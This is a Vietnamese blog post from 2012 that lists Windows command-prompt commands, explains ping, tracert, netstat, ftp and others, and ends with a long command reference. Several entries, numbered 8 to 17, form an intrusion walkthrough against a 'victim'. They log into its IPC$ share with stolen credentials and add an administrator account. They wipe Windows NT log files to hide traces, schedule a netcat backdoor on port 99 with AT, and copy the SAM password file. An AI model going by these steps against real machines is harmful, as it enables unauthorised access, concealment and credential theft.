Thứ Bảy, 23 tháng 6, 2012

Các lệnh trong cmd



Đầu tiên xin hướng dẫn các bạn các lệnh Ping để kiểm tra tốc độ mạng:
 
- FPT : + ping 210.245.31.130 -t || ping  210.245.87.123 -t ||  + ping 210.245.1.253-t
- Viettel : + ping 203.113.131.1 -t || + ping 203.113.131.9 -t
- VNPT : + ping 203.162.4.190 -t  || + ping 203.162.4.191 -t
- Điện lực : ping 203.162.4.190 -t
- VNGT : ping 202.134.18.37 -t
- Hệ thống Netnam : ping 125.214.16.68 -t

Mình xin nói qua về Ping
Chức năng: Đó là công cụ phân tích mạng đơn giản để kiểm tra mạng Lan, Wan, tới một trang web, đo tốc độ đường truyền....
Có một thời hacker sử dụng ping làm công cụ tê liệt máy tính
Các cú pháp: 
* ping <Địa chỉ> : Hàm lệnh đơn giản
* ping <Địa chỉ> [-t] : không giới hạn thời gian
* ping <Địa chỉ> [-l size] : Kích cỡ gói
* ping <Địa chỉ> [-n count] : Thiết lập n lần ping
Sau khi gõ nó sẽ hiện lên một dòng gồm cả chữ và số bao gồm kích cỡ gói dữ liệu, địa chỉ host truy vấn, dãy số ICMP, thời gian sống, thời gian trễ trọn vòng, đơn vị thời gian và thời gian dưới 10 giây 

1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] - ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính. - Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C - Tham số /a: Nhận địa chỉ IP từ tên host - Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt. - Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5 Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host).... 

2. Lệnh Tracert : Cú pháp : Code: tracert ip/host Công dụng : + Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.

3. Lệnh Net Send, gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP): Cú pháp: Net send ip/host thông_điệp_muốn_gởi Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi. + Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau : Code: Net send * hello!I'm pro_hacker_invn 

4. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] - Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening) - Tham số /e: hiển thị các thông tin thống kê Ethernet - Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm Công dụng : + Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta. 

5. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng... 

6. Lệnh FTP (truyền tải file): Cú pháp: Code: ftp ip/host Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau: Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ. Một số lệnh ftp cơ bản: -cd thu_muc: chuyển sang thư mục khác trên máy chủ - dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ - mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ - rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ - put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ. - close: Đóng phiên làm việc - quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command. Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu. Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp 

7. Lệnh Net View : Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]] Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng. + Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.
8. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"xxx" - ip: địa chỉ IP của victim. - xxx: user của máy victim - pass: password của user Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim" Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập). 

9. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add] - Username : tên user cấn add - pass : password của user cần add Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add] Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính. + Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào. Ví dụ: ta tiến hành add thêm một user có tên là xuanhoa , password là :banvatoi vào với cấu trúc lệnh như sau: Code: Net User xuanhoa banvatoi /add Sau đó add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup Administrator xuanhoa /add

10. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (áp dụng cho win XP) - Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,.. - Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown. - Tham số -l : logg off (lưu ý ko thể thực hiện khi remote) - Tham số -s : shutdown - Tham số -r : shutdown và restart - Tham số -a : không cho shutdown - Tham số -f : shutdown mà ko cảnh báo - Tham số -c "comment" : lời cảnh báo trước khi shutdown - Tham số -d upx:yy : ko rõ Code: shutdown \\ip (áp dụng win NT) Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn! Công dụng: + Shutdown máy tính. 

11. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn. Công dụng: + Để xem file, folder. 

12. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log

13. Lệnh tạo ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( hoặc là IPC$ ) - Z là của mình...còn C$ là của Victim Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc) 

14. Lệnh Net Time : Cú pháp: Code: Net Time \\ip Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình. 

15. Lệnh AT: Cú pháp: Code: AT \\ip Công dụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng. Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT....nó là một telnet server với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 . Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99. 

16. Lệnh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie Code: telnet 68.135.23.25 99 Công dụng: + Kết nối đến host qua port xx 

17. Lệnh COPY: Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé. Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nếu bạn copy lên folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html muốn copy files trên máy victm thì bạn gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\ 

18. Lệnh SET: Cú pháp: Code: SET Công dụng: + Displays, sets, or removes cmd.exe enviroment variables. 19. Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này. Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP).



Ngoài ra còn có các lệnh thông dụng khác sau đây:

• bootcfg : xem thiết lập phần tải hệ điều hành ban đầu . 
• defrag : lệnh này dùng để dồn đĩa cứng . 
• diskpart : quản lí phân vùng trên đĩa . Chúng ta có thể bấm DISKPART / ? để xem hướng dẫn cách dùng chi tiết . 
• driverquery : nhận danh sách các chương trình Driver và những thuộc tính của chúng . 
• getmac : nhận địa chỉ MAC ( Media Access Control ) của Card mạng . 
• gpresult : nhận RSoP , những thiết lập người dùng và những thiết lập của chính sách nhóm. 
• netsh : công cụ cấu hình mạng . Bấm NETSH / ? để biết thêm chi tiết . Để thoát khỏi công cụ này gõ lệnh NETSH> 
• openfiles : cho phép Admin hiển thị hoặc bỏ kết nối những file đang mở trong XP Pro . Bấm OPENFILES/? để biết thêm về tham số . 
• recover : khôi phục những thông tin không thể đọc được trên đĩa . 
• reg : công cụ cho Registry . 
• schtasks : Admin có thể tạo lịch trình , thay đổi , xoá những nhiệm vụ trên máy trạm hoặc những máy điều khiển từ xa . SCHTASKS/? để hiển thị những tham số . 
• sfc : kiểm tra file hệ thống , bảo về và thay thế , sửa chữa những file hệ thống bị hỏng . 
• shutdown : bạn có thể tắt hoặc khởi động lại máy tính của mình hoặc Admin có thể tắt hoặc khởi động lại những máy tính điều khiển từ xa . 
• systeminfo : hiển thị những thông tin cấu hình cơ bản . 
• tasklisk : cho chúng ta biết những chương trình nào đang chạy . 
• taskkill : tắt những chương trình đang chạy 
• dxdiag : cấu hình



Sưu tập lệnh CMD full:
ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations•
ASSOCIAT One step file association
ATTRIB Change file attributes
b
BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info
c
CACLS Change file permissions
CALL Call one batch program from another•
CD Change Directory - move to a specific Folder•
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen•
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colors of the CMD window•
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
COPY Copy one or more files to another location•
CSCcmd Client-side caching (Offline Files)
CSVDE Import or Export Active Directory data
d
DATE Display or set the date•
DEFRAG Defragment hard drive
DEL Delete one or more files•
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders•
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DISKPART Disk Administration
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSADD Add user (computer, group..) to active directoryDSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory
DSRM Remove items from Active Directory
e
ECHO Display message on screen•
ENDLOCAL End localisation of environment changes in a batch file•
ERASE Delete one or more files•
EXIT Quit the current script/routine and set an errorlevel•
EXPAND Uncompress files
EXTRACT Uncompress CAB files
f
FC Compare two files
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR /F Loop command: against a set of files•
FOR /F Loop command: against the results of another command•
FOR Loop command: all options Files, Directory, List•
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations•
g
GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line•
h
HELP Online Help
i
iCACLS Change file and folder permissions
IF Conditionally perform a command•
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP
k
KILL Remove a program from memory
l
LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file
m
MAPISEND Send email from the command line
MBSAcli Baseline Security Analyzer.
MEM Display memory usage
MD Create new folders•
MKLINK Create a symbolic link (linkd)
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another•
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)
MV Copy in-use files
n
NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights
p
PATH Display or set a search path for executable files•
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message•
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
POPD Restore the previous value of the current directory saved by PUSHD•
PORTQRY Display the status of ports and services
POWERCFG Configure power settings
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt•
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
PUSHD Save and then change the current directory•
q
QGREP Search file(s) for lines that match a given pattern.
r
RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Registry: Read, Set, Export, Delete keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file•
REN Rename a file or files•
REPLACE Replace or update one file with another
RD Delete folder(s)•
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)
s
SC Service Control
SCHTASKS Schedule a command to run at a specific time
SCLIST Display NT Services
SET Display, set, or remove environment variables•
SETLOCAL Control the visibility of environment variables•
SETX Set environment variables permanently
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file•
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SLMGR Software Licensing Management (Vista/2008)
SOON Schedule a command to run in the near future
SORT Sort input
START Start a program or command in a separate window•
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration
t
TASKLIST List running applications and services
TASKKILL Remove a running process from memory
TIME Display or set the system time•
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session•
TLIST Task list with full path
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file•
u
USRSTAT List domain usernames and last login
v
VER Display version information•
VERIFY Verify that files have been saved•
VOL Display a disk label•
w
WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands
x
XCACLS Change file and folder permissions
XCOPY Copy files and folders

0 nhận xét:

Đăng nhận xét

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Press Release Distribution